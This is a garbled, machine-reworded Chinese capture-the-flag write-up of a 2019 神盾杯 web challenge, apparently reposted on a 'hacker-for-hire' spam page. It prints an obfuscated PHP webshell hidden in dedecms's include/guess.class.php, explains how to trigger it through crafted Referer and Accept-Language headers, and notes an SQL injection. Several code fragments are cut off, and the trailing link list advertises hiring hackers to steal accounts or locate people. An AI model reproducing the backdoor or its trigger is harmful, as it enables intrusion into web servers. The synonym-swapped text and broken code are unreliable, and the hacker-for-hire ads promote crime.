2019 神盾杯 final Writeup(一)-黑客接单平台

访客5年前黑客工具1330
队友去参加了2019神盾杯上海市 *** 安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为标题较多,分为2篇编撰,本篇先写dedecms和另一个命题人手写的cms。 web1 预置简略后门查杀 翻开源码发现是dedecms,运用干流webshell查杀东西得到如下成果: 因为静态剖析具有较高的误报率,所以我先挑选了diff一下: 发现后门文件为include/guess.class.php,事实证明仍是D盾nb~ 内置混杂后门 咱们先去检查文件:include/guess.class.php。 发现显着后门: W$d")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?> 定位到最终一句: $w=$k('',$X);$w(); 发现$k为create_function,那么$X的值就至关重要,咱们能够得到其值为: $d"); @session_destroy(); } } } } 看到恶意代码方位: if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("$d"); @session_destroy(); } 要害参数为$e和$s,咱们盯梢这两个值,发现e为$s[$i]中$f的方位: $e=strpos($s[$i],$f); 而$s[$i]与$p有关,咱们持续跟进$p,$s,$i的赋值: for($z=1;$z 简略发现$p的值与$m有关。而$i与$m也与$m有关: $s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m); 简略测验: 发现m[2]的值由q=0.几操控,而m[1]与每组首写字母有关。 回到如下拼接: for($z=1;$z 剩余只需操控$q的值即可: $rr=@$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); 咱们注意到$q与HTTP_REFERER的参数有关,咱们测验一下: 那么咱们能够经过操控数组p的值,和数组$m的值,来操控$p的值,例如: // $rr=@$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; 那么此刻p的值为skycool。 紧接着是过滤: if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); } 那么咱们盯梢$h,发现为salt: $i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3)); 所以咱们很简略猜测$h的值,只需要在咱们的exp前拼接上$h的值即可。 那么现在只剩最终的exp,回到最开端的中心代码: $s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么能够经过$p操控`$s[$i]`的值,一起为了彻底截取,咱们能够相似如下结构exp: $exp = $h.$payload.$f; 这样即可彻底截取到咱们的$payload。 然后是加密函数x: function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i 简略发现这是xor加密,能够用来加密也可用来解密,直接用即可。 那么编写exp如下: 能够成功履行。 sql注入 经过diff能够发现代码注释了一段内容: 但这实践没有效果,是用来去除Power by dedecms的。可是另一处修正直接导致了sql注入[1][2]黑客接单网

相关文章

自己的手机号码怎么查,找黑客修改学分,百度上找的黑客靠谱么

防止SQL注入绕过姿态二:空白字符这是一个存在sql注入缝隙的代码,能够看出来由于履行的SQL句子。 首要勘探一下麦芽地的网站以及子域名,咱也直接就上 Google 大法。 查询成果有以下几个域名:0...

网络安全专业_如何找汽车电脑版黑客-黑客接单平台

在本教程中,咱们做出了一些示例查询,查找的是数据库中表和列的称号。 以上进犯的依据解说了为什么计算机安全要做到彻底没问题是令人难以置信的难。 进犯或许来自于多个软件产品,他们天经地义地以为产品这样履行...

黑客改单接单_高级黑客联系方式-找黑客帮忙定位找人

「黑客改单接单_高级黑客联系方式-找黑客帮忙定位找人」Jerry Wang 提出了一种 hook compileMethod的办法。 Level 4 → Level 502 特别的MSSQL特性:Go...

定位精灵_怎样在找黑客盗号-怎么找黑客帮忙黑客联系QQ是多少

「定位精灵_怎样在找黑客盗号-怎么找黑客帮忙黑客联系QQ是多少」一起令咱们十分高兴的是,Palo Alto Networks相关陈述的编缉亦曾是安天CERT从前的小同伴Claud Xiao。 虽然远隔...

谈谈我所了解的WEB署理

在这里,和咱们聊聊我自己所知道的一些关于Web署理的常识。 WEB署理的类型 Web署理,有一般署理和地道署理两种,下面简略说说这两种类型。 一般署理 该类型最为简略,署理服务器作为中间人,转发客户端...

拿站,要去哪里找可以黑进监控的黑客,去哪里找黑客技术

$at_id=base64_decode($_REQUEST['id']);//获取变量id并进行解码# a2enmod dav_fs切换到 Burpsuite 的 Project options 选...